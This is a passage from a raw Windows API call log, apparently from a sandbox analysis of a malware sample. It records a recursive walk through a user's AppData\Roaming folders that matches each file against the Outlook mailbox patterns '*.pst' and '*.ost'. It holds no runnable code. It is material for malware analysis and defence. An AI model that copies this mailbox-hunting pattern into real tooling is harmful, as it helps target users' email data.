returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0097.020] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*" [0097.020] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x72027d0 [0097.021] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.021] FindNextFileW (in: hFindFile=0x72027d0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0097.021] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.021] FindNextFileW (in: hFindFile=0x72027d0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="sys", cAlternateFileName="")) returned 1 [0097.021] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.021] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", pszFile="sys" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0097.021] PathCombineW (in: pszDest=0x6a1d6a0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*" [0097.021] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x7202890 [0097.066] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.066] FindNextFileW (in: hFindFile=0x7202890, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0097.066] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.066] FindNextFileW (in: hFindFile=0x7202890, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x230230, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0097.066] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.066] PathMatchSpecW (pszFile="settings.sol", pszSpec="*.pst") returned 0 [0097.066] PathMatchSpecW (pszFile="settings.sol", pszSpec="*.ost") returned 0 [0097.066] FindNextFileW (in: hFindFile=0x7202890, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x230230, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0097.066] FindClose (in: hFindFile=0x7202890 | out: hFindFile=0x7202890) returned 1 [0097.066] FindNextFileW (in: hFindFile=0x72027d0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="sys", cAlternateFileName="")) returned 0 [0097.067] FindClose (in: hFindFile=0x72027d0 | out: hFindFile=0x72027d0) returned 1 [0097.067] FindNextFileW (in: hFindFile=0x7202770, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0097.067] FindClose (in: hFindFile=0x7202770 | out: hFindFile=0x7202770) returned 1 [0097.067] FindNextFileW (in: hFindFile=0x7202410, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57d9fbc0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="support", cAlternateFileName="")) returned 0 [0097.067] FindClose (in: hFindFile=0x7202410 | out: hFindFile=0x7202410) returned 1 [0097.067] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x57d9fbc0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x57d9fbc0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0097.067] FindClose (in: hFindFile=0x4466e20 | out: hFindFile=0x4466e20) returned 1 [0097.067] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x3ea00960, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x3ea00960, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0097.067] FindClose (in: hFindFile=0x72022f0 | out: hFindFile=0x72022f0) returned 1 [0097.067] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0097.067] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.067] PathCombineW (in: pszDest=0x6a1f3e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming", pszFile="Microsoft" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft" [0097.067] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\*" [0097.067] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x72022f0 [0097.067] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.067] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0097.067] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.067] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55006a10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xaa80eb40, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xaa80eb40, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Access", cAlternateFileName="")) returned 1 [0097.067] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.067] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Access" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Access") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Access" [0097.068] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Access", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Access\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Access\\*" [0097.068] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Access\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55006a10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xaa80eb40, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xaa80eb40, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e3280 [0097.113] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.113] FindNextFileW (in: hFindFile=0x71e3280, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55006a10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xaa80eb40, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xaa80eb40, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0097.113] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.113] FindNextFileW (in: hFindFile=0x71e3280, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x559fe630, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x559fe630, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x58014630, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x234120, cFileName="AccessCache.accdb", cAlternateFileName="ACCESS~1.ACC")) returned 1 [0097.113] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.113] PathMatchSpecW (pszFile="AccessCache.accdb", pszSpec="*.pst") returned 0 [0097.113] PathMatchSpecW (pszFile="AccessCache.accdb", pszSpec="*.ost") returned 0 [0097.113] FindNextFileW (in: hFindFile=0x71e3280, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x559fe630, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x559fe630, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x58a58510, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x234120, cFileName="AccessCache.laccdb", cAlternateFileName="ACCESS~1.LAC")) returned 1 [0097.113] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.113] PathMatchSpecW (pszFile="AccessCache.laccdb", pszSpec="*.pst") returned 0 [0097.113] PathMatchSpecW (pszFile="AccessCache.laccdb", pszSpec="*.ost") returned 0 [0097.113] FindNextFileW (in: hFindFile=0x71e3280, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5502cb70, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x5502cb70, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x5509ef90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x234120, cFileName="System.mdw", cAlternateFileName="")) returned 1 [0097.113] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.113] PathMatchSpecW (pszFile="System.mdw", pszSpec="*.pst") returned 0 [0097.113] PathMatchSpecW (pszFile="System.mdw", pszSpec="*.ost") returned 0 [0097.113] FindNextFileW (in: hFindFile=0x71e3280, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5502cb70, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x5502cb70, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x5509ef90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x234120, cFileName="System.mdw", cAlternateFileName="")) returned 0 [0097.113] FindClose (in: hFindFile=0x71e3280 | out: hFindFile=0x71e3280) returned 1 [0097.113] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4afa5fd0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x4afa5fd0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x4afa5fd0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="AddIns", cAlternateFileName="")) returned 1 [0097.113] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.113] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="AddIns" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\AddIns" [0097.113] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\AddIns", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\AddIns\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\AddIns\\*" [0097.113] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4afa5fd0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x4afa5fd0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x4afa5fd0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e3c40 [0097.300] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.300] FindNextFileW (in: hFindFile=0x71e3c40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4afa5fd0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x4afa5fd0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x4afa5fd0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0097.300] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.300] FindNextFileW (in: hFindFile=0x71e3c40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4afa5fd0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x4afa5fd0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x4afa5fd0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0097.301] FindClose (in: hFindFile=0x71e3c40 | out: hFindFile=0x71e3c40) returned 1 [0097.301] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7b70d70, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7b96ed0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7b96ed0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0097.301] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.301] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Bibliography" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography" [0097.301] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography\\*" [0097.301] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7b70d70, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7b96ed0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7b96ed0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e3c40 [0097.308] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.308] FindNextFileW (in: hFindFile=0x71e3c40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7b70d70, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7b96ed0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7b96ed0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0097.308] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.308] FindNextFileW (in: hFindFile=0x71e3c40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7b96ed0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7cc79d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7cc79d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Style", cAlternateFileName="")) returned 1 [0097.308] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.308] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography", pszFile="Style" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0097.308] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*" [0097.308] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7b96ed0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7cc79d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7cc79d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e39a0 [0097.350] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.350] FindNextFileW (in: hFindFile=0x71e39a0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7b96ed0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7cc79d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7cc79d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0097.350] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.350] FindNextFileW (in: hFindFile=0x71e39a0, 